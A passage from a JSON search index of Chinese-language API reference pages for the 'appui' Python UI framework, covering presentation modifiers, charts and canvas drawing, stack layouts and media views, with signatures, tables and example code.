类型 说明 `edge` `str` 嵌入安全区的一侧,如 `bottom`。 `content` `View \\| None` 持久显示的条带内容。 示例 import appui\n\ndef body():\n return appui.VStack([\n appui.Text(\"主内容区域\").frame(max_height=appui.infinity),\n appui.SafeAreaInset(\n edge=\"bottom\",\n content=appui.Text(\"底部工具条\").padding(),\n ),\n ])\n\nappui.run(body, presentation=\"sheet\") 参阅 :VStack、ScrollView" + }, + { + "id": "appui-ref-presentation", + "title": "呈现 API", + "subtitle": "alert、sheet、popover、confirmation dialog 和刷新动作。", + "section": "appui / API 参考", + "url": "pages/appui-ref-presentation/", + "text": "呈现 API alert、sheet、popover、confirmation dialog 和刷新动作。 appui API 参考 appui api presentation sheet alert popover confirmation_dialog refreshable 呈现 呈现 API 本页覆盖弹窗、模态、确认框、菜单、刷新和滑动操作。页面跳转用 导航 API,控件样式和布局修饰符用 修饰符 API。 什么时候用 目标 首选 API 说明 简短提示 `.alert(...)` 单条消息、确认结果、错误提示。 危险操作确认 `.confirmation_dialog(...)` 删除、退出、清空等需要用户确认的动作。 局部任务流 `.sheet(...)` 选择器、编辑表单、短流程。 全屏任务 `.full_screen_cover(...)` 登录、拍摄、沉浸式流程。 iPad 气泡层 `.popover(...)` 从某个按钮展开的轻量内容。 长按菜单 `.context_menu(...)` 行内次要操作。 下拉刷新 `.refreshable(...)` 或 `Refreshable` 列表重新加载数据。 行滑动操作 `.swipe_actions(...)` 或 `SwipeActions` 删除、归档、置顶等列表行操作。 最小正确示例 import appui\n\nstate = appui.State(\n show_sheet=False,\n show_alert=False,\n show_confirm=False,\n count=0,\n)\n\n\ndef open_sheet():\n state.show_sheet = True\n\n\ndef close_sheet():\n state.show_sheet = False\n\n\ndef open_alert():\n state.show_alert = True\n\n\ndef close_alert():\n state.show_alert = False\n\n\ndef open_confirm():\n state.show_confirm = True\n\n\ndef close_confirm():\n state.show_confirm = False\n\n\ndef add_count():\n state.count += 1\n\n\ndef reset_count():\n state.count = 0\n state.show_confirm = False\n\n\ndef sheet_content():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Sheet\", [\n appui.Text(f\"Count: {state.count}\"),\n appui.Button(\"+1\", action=add_count),\n appui.Button(\"Close\", action=close_sheet),\n ])\n ]).navigation_title(\"Sheet\")\n )\n\n\ndef body():\n root = (\n appui.Form([\n appui.Section(\"Actions\", [\n appui.Button(\"Open sheet\", action=open_sheet),\n appui.Button(\"Show alert\", action=open_alert),\n appui.Button(\"Reset count\", action=open_confirm)\n .foreground_color(\"systemRed\"),\n ])\n ])\n .navigation_title(\"Presentation\")\n .sheet(\n is_presented=state.show_sheet,\n content=sheet_content,\n on_dismiss=close_sheet,\n detents=\"medium_large\",\n drag_indicator=\"visible\",\n )\n .alert(\n \"Notice\",\n message=\"Alert is visible.\",\n is_presented=state.show_alert,\n on_dismiss=close_alert,\n )\n .confirmation_dialog(\n \"Reset count?\",\n is_presented=state.show_confirm,\n message=\"This cannot be undone.\",\n actions=[\n appui.Button(\"Reset\", action=reset_count, role=\"destructive\"),\n appui.Button(\"Cancel\", action=close_confirm),\n ],\n on_dismiss=close_confirm,\n )\n )\n\n return appui.NavigationStack(root)\n\n\nappui.run(body, state=state) 呈现组件 这些组件可以作为视图使用;大多数页面更常用对应的链式修饰符。 API 签名 分类 `Alert` `Alert(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None)` `presentation` `ConfirmationDialog` `ConfirmationDialog(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None)` `presentation` `Popover` `Popover(is_presented: bool = False, content: Optional[View] = None, trigger: Optional[View] = None, isPresented: Optional[bool] = None)` `presentation` `Refreshable` `Refreshable(on_refresh: Optional[Callable] = None, onRefresh: Optional[Callable] = None, content: Optional[ViewChild] = None)` `collection` `SwipeActions` `SwipeActions(content: Optional[View] = None, leading: Optional[Sequence[View]] = None, trailing: Optional[Sequence[View]] = None)` `collection` 呈现修饰符 API 签名 所属类型 `.alert` `.alert(title: str, message: str = '', is_presented: bool = False, on_dismiss: Optional[Callable] = None, actions: Optional[Sequence[\"View\"]] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.sheet` `.sheet(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None, detents: Optional[str] = None, drag_indicator: Optional[str] = None, interactive_dismiss_disabled: bool = False, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None, dragIndicator: Optional[str] = None, interactiveDismissDisabled: Optional[bool] = None) -> Self` `View` `.full_screen_cover` `.full_screen_cover(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.confirmation_dialog` `.confirmation_dialog(title: str, is_presented: bool = False, actions: Optional[Sequence[\"View\"]] = None, message: str = '', on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.popover` `.popover(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.context_menu` `.context_menu(content: Optional[Sequence[\"View\"]] = None) -> Self` `View` `.searchable` `.searchable(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, placement: str = 'automatic', prompt: Optional[str] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None) -> Self` `View` `.swipe_actions` `.swipe_actions(edge: str = 'trailing', content: Optional[Sequence[\"View\"]] = None, actions: Optional[Sequence[\"View\"]] = None) -> Self` `View` `.refreshable` `.refreshable(action: Optional[Callable] = None) -> Self` `View` `.badge` `.badge(count: Any) -> Self` `View` `.inspector` `.inspector(is_presented: bool = False, content: Optional[Union[\"View\", Callable[[], \"View\"]]] = None, on_dismiss: Optional[Callable] = None) -> Self` `View` 列表行操作示例 import appui\n\nstate = appui.State(items=[\"Inbox\", \"Archive\", \"Later\"], last=\"\")\n\n\ndef item_key(item):\n return item\n\n\ndef row_view(item):\n def mark_done():\n state.last = f\"Done: {item}\"\n\n def remove_item():\n state.items = [current for current in state.items if current != item]\n state.last = f\"Deleted: {item}\"\n\n return (\n appui.Text(item)\n .swipe_actions(actions=[\n appui.Button(\"Done\", action=mark_done),\n appui.Button(\"Delete\", action=remove_item, role=\"destructive\"),\n ])\n .context_menu([\n appui.Button(\"Mark done\", action=mark_done),\n ])\n )\n\n\ndef refresh():\n state.last = \"Refreshed\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Items\", [\n appui.ForEach(state.items, row_builder=row_view, key=item_key)\n ]),\n appui.Section(\"Status\", [\n appui.Text(state.last or \"No action yet\"),\n ]),\n ])\n .navigation_title(\"Rows\")\n .refreshable(refresh)\n )\n\n\nappui.run(body, state=state) 与相邻 API 的区别 API 不同点 `.alert` vs `.confirmation_dialog` alert 用于提示;confirmation dialog 用于让用户在多个操作里确认。 `.sheet` vs `.full_screen_cover` sheet 适合短任务;full screen 适合必须暂时离开主界面的完整流程。 `.popover` vs `.sheet` popover 更适合 iPad 上从按钮展开的小面板;iPhone 上可能按系统规则表现为 sheet。 `.context_menu` vs `.swipe_actions` context menu 是次要菜单;swipe actions 是列表行的高频快捷操作。 `Refreshable` vs `.refreshable` 修饰符更常见;容器用于需要把刷新能力包成独立视图的场景。 Presentation Engine 规则 呈现修饰符必须始终挂在最终返回的根视图上,只切换 is_presented / show_ 字段。 禁止 if state.show_sheet: root = root.sheet(...) 这种条件挂载。 content 传命名函数,例如 content=editor_sheet,不要 content=editor_sheet()。 规范全文见 Presentation Engine Spec。 PresentationCoordinator(档 4) show_ 字段变化时,框架优先走原生 PresentationCoordinator,跳过 body() 与整树 JSON: state.show_sheet = True # 自动 coordinator\nappui.presentation_present(\"show_sheet\") # 显式 API\nappui.presentation_dismiss(\"show_sheet\")\nappui.dismiss_all() # 关闭所有已注册弹层 混合更新时,presentation 字段先走 coordinator,content 字段仍 rebuild: state.batch_update(show_sheet=True, token_draft=\"\") # sheet 走 coordinator,draft 走 rebuild Diagnostics:presentation.coordinator = 快路径;presentation.coordinator_fallback = 回退 JSON。 常见错误 错误 正确做法 sheet 关闭后没有同步 `State`。 在 `on_dismiss` 中把 `state.show_sheet = False`。 sheet 一闪而过,没有原生进出动画。 始终挂载 `.sheet(is_presented=...)`,不要条件包裹修饰符。 把复杂业务逻辑直接写在 `body()` 的按钮参数里。 定义命名函数,按钮只传函数名。 alert / dialog 的 `is_presented` 一直为 `True`。 在确认、取消和 dismiss 回调中恢复为 `False`。 列表行删除只改本地变量。 修改 `State` 中的数据源,触发重新渲染。 用 sheet 做顶层页面导航。 顶层页面结构用 `NavigationStack` 或 `TabView`。" + }, + { + "id": "appui-ref-charts", + "title": "图表与画布 API", + "subtitle": "Chart、Canvas、DrawingContext 和 Path。", + "section": "appui / API 参考", + "url": "pages/appui-ref-charts/", + "text": "图表与画布 API Chart、Canvas、DrawingContext 和 Path。 appui API 参考 appui api charts Chart Canvas DrawingContext Path 图表 画布 图表与画布 API 本页覆盖 Chart、Canvas、DrawingContext 和 Path。Chart 用系统图表展示结构化数据;Canvas 和 DrawingContext 用命令列表画 2D 图形;Path 用矢量路径命令画自定义形状。 什么时候用 目标 首选 API 说明 柱状、折线、面积、散点图 `Chart` 数据是字典列表,字段由 `x`、`y`、`series` 指定。 简单 2D 绘图 `Canvas` + `DrawingContext` 矩形、圆、线、文本、渐变、路径等命令。 自定义矢量形状 `Path` 三角形、曲线、弧线、可填充或描边的路径。 实时高频绘制 `Canvas` + 稳定命令列表 避免每次 `body()` 重建大量命令。 Chart Chart(data=None, x='x', y='y', type='bar', color=None, series=None) API 签名 分类 `Chart` `Chart(data: Optional[Sequence[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None)` `media` import appui\n\n\ndef body():\n rows = [\n {\"day\": \"Mon\", \"value\": 3},\n {\"day\": \"Tue\", \"value\": 7},\n {\"day\": \"Wed\", \"value\": 5},\n {\"day\": \"Thu\", \"value\": 9},\n ]\n\n return appui.NavigationStack(\n appui.Chart(\n data=rows,\n x=\"day\",\n y=\"value\",\n type=\"bar\",\n color=\"systemBlue\",\n )\n .frame(height=240)\n .padding()\n .navigation_title(\"Chart\")\n )\n\n\nappui.run(body) 多序列示例 import appui\n\n\ndef body():\n data = [\n {\"month\": \"Jan\", \"value\": 10, \"category\": \"A\"},\n {\"month\": \"Jan\", \"value\": 20, \"category\": \"B\"},\n {\"month\": \"Feb\", \"value\": 14, \"category\": \"A\"},\n {\"month\": \"Feb\", \"value\": 18, \"category\": \"B\"},\n {\"month\": \"Mar\", \"value\": 22, \"category\": \"A\"},\n {\"month\": \"Mar\", \"value\": 16, \"category\": \"B\"},\n ]\n\n return appui.NavigationStack(\n appui.Chart(\n data=data,\n x=\"month\",\n y=\"value\",\n series=\"category\",\n type=\"line\",\n )\n .frame(height=240)\n .padding()\n .navigation_title(\"Series\")\n )\n\n\nappui.run(body) Canvas Canvas(width=300, height=300, commands=None, context=None) API 签名 分类 `Canvas` `Canvas(width: float = 300, height: float = 300, commands: Optional[Sequence[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None)` `drawing` import appui\n\n\ndef make_context():\n ctx = appui.DrawingContext()\n ctx.gradient_rect(0, 0, 240, 140, colors=[\"systemBlue\", \"systemTeal\"])\n ctx.rounded_rect(20, 20, 200, 100, corner_radius=16, color=\"systemBackground\", fill=True)\n ctx.fill_text(\"Canvas\", 72, 76, color=\"label\", font_size=22)\n ctx.line(40, 98, 200, 98, color=\"separator\", line_width=2)\n return ctx\n\n\ndef body():\n return appui.NavigationStack(\n appui.Canvas(width=240, height=140, context=make_context())\n .frame(width=240, height=140)\n .padding()\n .navigation_title(\"Canvas\")\n )\n\n\nappui.run(body) DrawingContext 方法 DrawingContext 的每个方法都会向 commands 追加一个公开命令字典,并返回自身,方便链式调用。 API 签名 所属类型 `fill_rect` `fill_rect(x: float, y: float, width: float, height: float, color: ColorLike = 'black') -> Self` `DrawingContext` `stroke_rect` `stroke_rect(x: float, y: float, width: float, height: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> Self` `DrawingContext` `fill_circle` `fill_circle(cx: float, cy: float, radius: float, color: ColorLike = 'black') -> Self` `DrawingContext` `stroke_circle` `stroke_circle(cx: float, cy: float, radius: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> Self` `DrawingContext` `fill_ellipse` `fill_ellipse(x: float, y: float, width: float, height: float, color: ColorLike = 'black') -> Self` `DrawingContext` `stroke_ellipse` `stroke_ellipse(x: float, y: float, width: float, height: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> Self` `DrawingContext` `line` `line(x1: float, y1: float, x2: float, y2: float, color: ColorLike = 'black', line_width: float = 1, **kwargs: Any) -> Self` `DrawingContext` `fill_text` `fill_text(text: str, x: float, y: float, color: ColorLike = 'black', font_size: float = 16, **kwargs: Any) -> Self` `DrawingContext` `fill_path` `fill_path(points: Sequence[Tuple[float, float]], color: ColorLike = 'black', close: bool = True) -> Self` `DrawingContext` `stroke_path` `stroke_path(points: Sequence[Tuple[float, float]], color: ColorLike = 'black', line_width: float = 1, close: bool = False, **kwargs: Any) -> Self` `DrawingContext` `arc` `arc(cx: float, cy: float, radius: float, start_angle: float = 0, end_angle: float = 360, color: ColorLike = 'black', line_width: float = 1, fill: bool = False, **kwargs: Any) -> Self` `DrawingContext` `rounded_rect` `rounded_rect(x: float, y: float, width: float, height: float, corner_radius: float = 8, color: ColorLike = 'black', line_width: float = 1, fill: bool = True, **kwargs: Any) -> Self` `DrawingContext` `gradient_rect` `gradient_rect(x: float, y: float, width: float, height: float, colors: Optional[Sequence[ColorLike]] = None, vertical: bool = True) -> Self` `DrawingContext` 命令字段 如果直接传 commands,使用下面的公开字段: `op` 主要字段 `fill_rect` / `stroke_rect` `x`、`y`、`w`、`h`、`c`、`lw` `fill_circle` / `stroke_circle` `cx`、`cy`、`r`、`c`、`lw` `fill_ellipse` / `stroke_ellipse` `x`、`y`、`w`、`h`、`c`、`lw` `line` `x1`、`y1`、`x2`、`y2`、`c`、`lw` `fill_text` `t`、`x`、`y`、`c`、`fs` `fill_path` / `stroke_path` `pts`、`c`、`close`、`lw` `arc` `cx`、`cy`、`r`、`sa`、`ea`、`c`、`lw`、`fill` `rounded_rect` `x`、`y`、`w`、`h`、`cr`、`c`、`lw`、`fill` `gradient_rect` `x`、`y`、`w`、`h`、`colors`、`vertical` import appui\n\nctx = appui.DrawingContext()\nctx.fill_rect(0, 0, 10, 10, color=\"systemRed\")\nctx.stroke_rect(10, 0, 10, 10, color=\"systemBlue\", line_width=2)\nctx.fill_circle(50, 50, 20, color=\"systemGreen\")\nctx.line(0, 100, 100, 100, color=\"systemOrange\", line_width=3)\nctx.fill_text(\"Hi\", 5, 105, color=\"label\", font_size=14)\nassert len(ctx.commands) == 5 Path Path(commands=None, fill=None, stroke=None, line_width=None) API 签名 分类 `Path` `Path(commands: Optional[Sequence[Dict[str, Any]]] = None, fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, line_width: Optional[float] = None)` `drawing` Path 命令结构: 命令键 结构 行为 `move` `[x, y]` 移动当前点。 `line` `[x, y]` 添加直线。 `curve` `{\"to\": [x, y], \"control1\": [x, y], \"control2\": [x, y]?}` 二次或三次贝塞尔曲线。 `arc` `{\"cx\": x, \"cy\": y, \"r\": r, \"start\": deg, \"end\": deg, \"clockwise\": bool}` 弧线。 `close` 任意真值 闭合路径。 import appui\n\n\ndef body():\n commands = [\n {\"move\": [40, 10]},\n {\"line\": [80, 70]},\n {\"line\": [0, 70]},\n {\"close\": True},\n ]\n\n return appui.NavigationStack(\n appui.Path(\n commands=commands,\n fill=\"systemOrange\",\n stroke=\"label\",\n line_width=2,\n )\n .frame(width=100, height=90)\n .padding()\n .navigation_title(\"Path\")\n )\n\n\nappui.run(body) 与相邻 API 的区别 API 不同点 `Chart` vs `Canvas` `Chart` 负责数据可视化和坐标轴;`Canvas` 只画你给的图形命令。 `Canvas` vs `Path` `Canvas` 可以混合矩形、圆、文字、渐变;`Path` 专注一个可填充/描边的矢量形状。 `Path` vs `Rectangle` / `Circle` 常见形状用形状 API;不规则图形才用 `Path`。 `Canvas` 命令 vs `DrawingContext` 直接命令适合从数据生成;`DrawingContext` 适合手写绘图逻辑。 常见错误 错误 正确做法 每次 `body()` 都重新生成大量静态命令。 静态命令放到模块级常量或函数缓存,状态变化只更新必要数据。 `Chart` 的 `x` / `y` 字段名和数据字典不匹配。 统一字段名,缺失值先清洗再传入。 用 `Chart` 展示非数值 y 值。 `y` 对应字段应是数值。 `Canvas(width,height)` 和外层 `.frame(...)` 尺寸冲突。 两者保持一致,或明确只让外层控制显示尺寸。 用 `Canvas` 手写原生控件。 表单、按钮、列表、进度优先用 AppUI 原生控件。 相关文档 文档 用途 [形状 API](appui-ref-shapes) Rectangle、RoundedRectangle、Circle、Capsule、Ellipse、Color。 [性能指南](appui-guide-performance) 大数据图表和高频绘制的刷新边界。 [UI 模式](miniapp-appui-ui-patterns) 图表和媒体在 MiniApp 页面中的布局选择。" + }, + { + "id": "appui-ref-layout-stacks", + "title": "堆叠布局 API", + "subtitle": "VStack、HStack、ZStack、Lazy stacks、Spacer 和 Divider。", + "section": "appui / API 参考", + "url": "pages/appui-ref-layout-stacks/", + "text": "堆叠布局 API VStack、HStack、ZStack、Lazy stacks、Spacer 和 Divider。 appui API 参考 appui api layout VStack HStack ZStack LazyVStack LazyHStack Spacer Divider 堆叠布局 堆叠布局 API VStack / HStack / ZStack / LazyVStack / LazyHStack / Spacer / Divider。 VStack 签名 VStack(content=None, alignment='center', spacing=None) 参数 参数 类型 说明 `content` `list[View] \\| None` 子视图列表;亦可配合上下文管理器收集子级。 `alignment` `str` 横轴对齐(如 `center`、`leading`、`trailing` 等,由运行时映射)。 `spacing` `数值 \\| None` 子视图间距;`None` 为系统默认。 示例 import appui\n\ndef body():\n with appui.VStack(spacing=12) as root:\n appui.Text(\"标题\").font(\"title2\").bold()\n appui.Text(\"说明文案\").font(\"body\").foreground_color(\"secondaryLabel\")\n return root.padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :HStack、ZStack、LazyVStack HStack 签名 HStack(content=None, alignment='center', spacing=None) 参数 与 VStack 相同;对齐沿纵轴解释。 示例 import appui\n\ndef body():\n return appui.HStack([\n appui.Image(system_name=\"star.fill\").foreground_color(\"systemYellow\"),\n appui.Text(\"收藏\").font(\"headline\"),\n appui.Spacer(),\n appui.Text(\"详情\").font(\"subheadline\"),\n ], spacing=8).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :VStack、Spacer ZStack 签名 ZStack(content=None, alignment='center') 参数 参数 类型 说明 `content` `list[View] \\| None` 层叠子视图,后者绘制在上层。 `alignment` `str` `center`、`leading`、`trailing`、`top`、`bottom`、`topLeading`、`topTrailing`、`bottomLeading`、`bottomTrailing`。 示例 import appui\n\ndef body():\n return appui.ZStack([\n appui.RoundedRectangle(corner_radius=16).fill(\"systemBlue\").frame(width=200, height=120),\n appui.VStack([\n appui.Text(\"前景\").foreground_color(\"white\").bold(),\n appui.Text(\"叠放\").font(\"caption\").foreground_color(\"white\"),\n ]),\n ], alignment=\"center\").padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :Overlay、VStack LazyVStack 签名 LazyVStack(content=None, alignment='center', spacing=None) 参数 同 VStack。惰性创建子项,适合长列表中的纵向堆叠。 示例 import appui\n\ndef body():\n return appui.ScrollView(\n appui.LazyVStack(\n content=[appui.Text(f\"行 {i}\") for i in range(40)],\n spacing=6,\n ),\n axes=\"vertical\",\n )\n\nappui.run(body, presentation=\"sheet\") 参阅 :LazyHStack、ScrollView LazyHStack 签名 LazyHStack(content=None, alignment='center', spacing=None) 参数 同 LazyVStack,轴向为水平。 示例 import appui\n\ndef body():\n return appui.ScrollView(\n appui.LazyHStack(\n content=[appui.Text(f\"·{i}\") for i in range(30)],\n spacing=10,\n ),\n axes=\"horizontal\",\n shows_indicators=True,\n )\n\nappui.run(body, presentation=\"sheet\") 参阅 :HStack、ScrollView Spacer 签名 Spacer(min_length=None, minLength=None) 参数 参数 类型 说明 `min_length` / `minLength` `数值 \\| None` 在所在堆栈中占据弹性空白的最小长度。 示例 import appui\n\ndef body():\n return appui.HStack([\n appui.Text(\"左\"),\n appui.Spacer(min_length=24),\n appui.Text(\"右\"),\n ]).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :HStack、VStack Divider 签名 Divider() 参数 无参数构造。 示例 import appui\n\ndef body():\n return appui.VStack([\n appui.Text(\"上\"),\n appui.Divider(),\n appui.Text(\"下\"),\n ], spacing=8).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :VStack、Section" + }, + { + "id": "appui-ref-media", + "title": "媒体 API", + "subtitle": "Image、AsyncImage、PhotoPicker、CameraPicker、VideoPlayer、WebView 和 MapView。", + "section": "appui / API 参考", + "url": "pages/appui-ref-media/", + "text": "媒体 API Image、AsyncImage、PhotoPicker、CameraPicker、VideoPlayer、WebView 和 MapView。 appui API 参考 appui api media Image AsyncImage PhotoPicker CameraPicker VideoPlayer WebView MapView 媒体 媒体 API 本页覆盖图片、相册、相机、文件导入、地图、网页、视频和图标标题。媒体视图仍然是普通 View,可以继续使用 .frame(...)、.padding(...)、.background(...)、.clipped() 等修饰符。 什么时候用 目标 首选 API 说明 SF Symbol 或本地图片 `Image` 图标、资产目录图片、可缩放图片。 网络图片 `AsyncImage` 支持占位视图和失败视图。 图标 + 标题 `Label` 按钮、列表行、Tab、菜单项里的标准图标标题。 从相册选择 `PhotoPicker` 选择图片或视频,回调返回路径列表。 拍照或录像 `CameraPicker` 使用系统相机,回调返回路径字符串。 从文件导入 `FileImporter` 打开系统文件选择器,回调返回导入文件路径列表。 视频播放 `VideoPlayer` 内联或全屏视频播放,支持 AirPlay、PiP。 播放器控制 `PlayerController` 复用同一个原生播放器实例,控制播放、暂停、进度、倍速、音量和事件回调。 网页内容 `WebView` 加载 URL 或内联 HTML。 地图展示 `MapView` 显示 Apple Maps、中心点、缩放跨度和标记。 最小正确示例 import appui\n\nstate = appui.State(status=\"Ready\", picked_count=0, imported_count=0)\n\n\ndef image_loaded():\n state.status = \"Image loaded\"\n\n\ndef image_failed():\n state.status = \"Image failed\"\n\n\ndef receive_photos(paths):\n state.picked_count = len(paths or [])\n state.status = f\"Picked {state.picked_count} item(s)\"\n\n\ndef receive_files(paths):\n state.imported_count = len(paths or [])\n state.status = f\"Imported {state.imported_count} file(s)\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Image\", [\n appui.AsyncImage(\n url=\"https://www.w3.org/Icons/w3c_home\",\n placeholder=appui.ProgressView(label=\"Loading\"),\n error_view=appui.Label(\"Failed\", system_image=\"wifi.slash\"),\n content_mode=\"fit\",\n on_success=image_loaded,\n on_failure=image_failed,\n )\n .frame(height=90)\n .background(\"secondarySystemBackground\", corner_radius=8),\n ]),\n appui.Section(\"Picker\", [\n appui.PhotoPicker(\n selection_limit=2,\n filter=\"images\",\n on_picked=receive_photos,\n label=appui.Label(\"Choose Photos\", system_image=\"photo.on.rectangle\"),\n ),\n appui.Text(state.status).font(\"footnote\").foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"Files\", [\n appui.FileImporter(\n allowed_types=[\"text\", \"pdf\", \"csv\"],\n allows_multiple=True,\n on_picked=receive_files,\n label=appui.Label(\"Import Files\", system_image=\"doc.badge.plus\"),\n ),\n ]),\n ]).navigation_title(\"Media\")\n )\n\n\nappui.run(body, state=state) 图片和标签 API 签名 分类 `Image` `Image(name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None)` `media` `Label` `Label(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)` `text` `AsyncImage` `AsyncImage(url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None)` `media` Image 方法 方法 说明 `.resizable()` 允许图片按 frame 缩放。 `.aspect_ratio(ratio=None, content_mode='fit', **kwargs)` 设置宽高比和填充模式;`content_mode` 为 `\"fit\"` 或 `\"fill\"`。 `.symbol_rendering_mode(mode)` SF Symbol 渲染:`\"hierarchical\"`、`\"palette\"`、`\"multicolor\"`、`\"monochrome\"`。 `.image_scale(scale)` SF Symbol 尺寸:`\"small\"`、`\"medium\"`、`\"large\"`。 import appui\n\n\ndef body():\n symbol = (\n appui.Image(system_name=\"heart.fill\")\n .symbol_rendering_mode(\"multicolor\")\n .image_scale(\"large\")\n .foreground_color(\"systemPink\")\n )\n\n photo = (\n appui.Image(name=\"example\")\n .resizable()\n .aspect_ratio(content_mode=\"fit\")\n .frame(height=90)\n .background(\"secondarySystemBackground\", corner_radius=8)\n )\n\n return appui.NavigationStack(\n appui.VStack([symbol, photo], spacing=16)\n .padding()\n .navigation_title(\"Images\")\n )\n\n\nappui.run(body) 相册、相机和文件导入 API 签名 分类 `PhotoPicker` `PhotoPicker(selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any)` `media` `CameraPicker` `CameraPicker(source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any)` `media` `FileImporter` `FileImporter(allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any)` `media` 回调契约:PhotoPicker.on_picked(paths) 与 FileImporter.on_picked(paths) 接收路径字符串列表;CameraPicker.on_captured(path) 接收单个路径字符串或空值。用户可能拒绝权限、取消选择或设备不可用,回调中要处理空路径和空列表。 import appui\n\nstate = appui.State(last_path=\"\")\n\n\ndef receive_capture(path):\n state.last_path = path or \"No file\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Camera\", [\n appui.CameraPicker(\n source=\"front\",\n media_type=\"photo\",\n on_captured=receive_capture,\n label=appui.Label(\"Take Photo\", system_image=\"camera\"),\n ),\n appui.Text(state.last_path or \"No capture yet\")\n .font(\"footnote\")\n .foreground_color(\"secondaryLabel\"),\n ])\n ]).navigation_title(\"Camera\")\n )\n\n\nappui.run(body, state=state) import appui\n\nstate = appui.State(files=[])\n\n\ndef receive_files(paths):\n state.files = paths or []\n\n\ndef body():\n rows = [\n appui.Text(path).font(\"footnote\").line_limit(1)\n for path in state.files\n ]\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Import\", [\n appui.FileImporter(\n allowed_types=[\"text\", \"pdf\", \"csv\"],\n allows_multiple=True,\n on_picked=receive_files,\n label=appui.Label(\"Import Files\", system_image=\"folder\"),\n ),\n ]),\n appui.Section(\"Files\", rows or [\n appui.ContentUnavailableView(\n \"No file\",\n system_image=\"doc\",\n description=\"Import a document first\",\n )\n ]),\n ]).navigation_title(\"Files\")\n )\n\n\nappui.run(body, state=state) 视频、网页和地图 VideoPlayer { video player} PlayerController { player controller} WebView { webview} 视频 API 选择规则 场景 推荐写法 说明 只需要在页面里显示并播放一个视频 `VideoPlayer(url=...)` 最简单,适合普通预览、详情页视频。 Mini App 需要播放/暂停/seek/倍速/进度保存/PiP 状态 `PlayerController` + `VideoPlayer(player=player)` AppUI 视频类应用的主入口。 不写 AppUI 页面,只写脚本播放音视频 `import avplayer` 脚本级媒体能力;AppUI 新页面不要优先用它控制内嵌播放器。 API 签名 分类 `VideoPlayer` `VideoPlayer(url: str = '', autoplay: bool = False, loop: bool = False, show_controls: bool = True, presentation: str = 'inline', allows_fullscreen: bool = True, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', enters_fullscreen_when_playback_begins: bool = False, exits_fullscreen_when_playback_ends: bool = True, showControls: Optional[bool] = None, allowsFullscreen: Optional[bool] = None, allowsPiP: Optional[bool] = None, allowsPictureInPicture: Optional[bool] = None, allowsAirPlay: Optional[bool] = None, videoGravity: Optional[str] = None, entersFullscreenWhenPlaybackBegins: Optional[bool] = None, exitsFullscreenWhenPlaybackEnds: Optional[bool] = None, allows_picture_in_picture: Optional[bool] = None, player: Optional[PlayerController] = None, player_id: Optional[str] = None, pause_on_disappear: Optional[bool] = None)` `media` `PlayerController` `PlayerController(id: str = 'main', url: str = '', autoplay: bool = False, loop: bool = False, rate: float = 1.0, volume: float = 1.0, allows_pip: bool = True, allows_airplay: bool = True, video_gravity: str = 'resizeAspect', pause_on_disappear: bool = True)` `公开类型` `WebView` `WebView(url: Optional[str] = None, html: Optional[str] = None)` `media` `MapView` `MapView(latitude: float = 37.7749, longitude: float = -122.4194, span: float = 0.05, markers: Optional[Sequence[Dict[str, Any]]] = None, map_style: str = 'automatic', mapStyle: Optional[str] = None)` `media` `ShareLink` `ShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)` `control` VideoPlayer(url=...) 适合只展示并播放一个视频。视频类 Mini App 需要恢复播放进度、切集、外部按钮控制、倍速、音量或 PiP 状态时,先创建 PlayerController,再传给 VideoPlayer(player=player)。AppUI 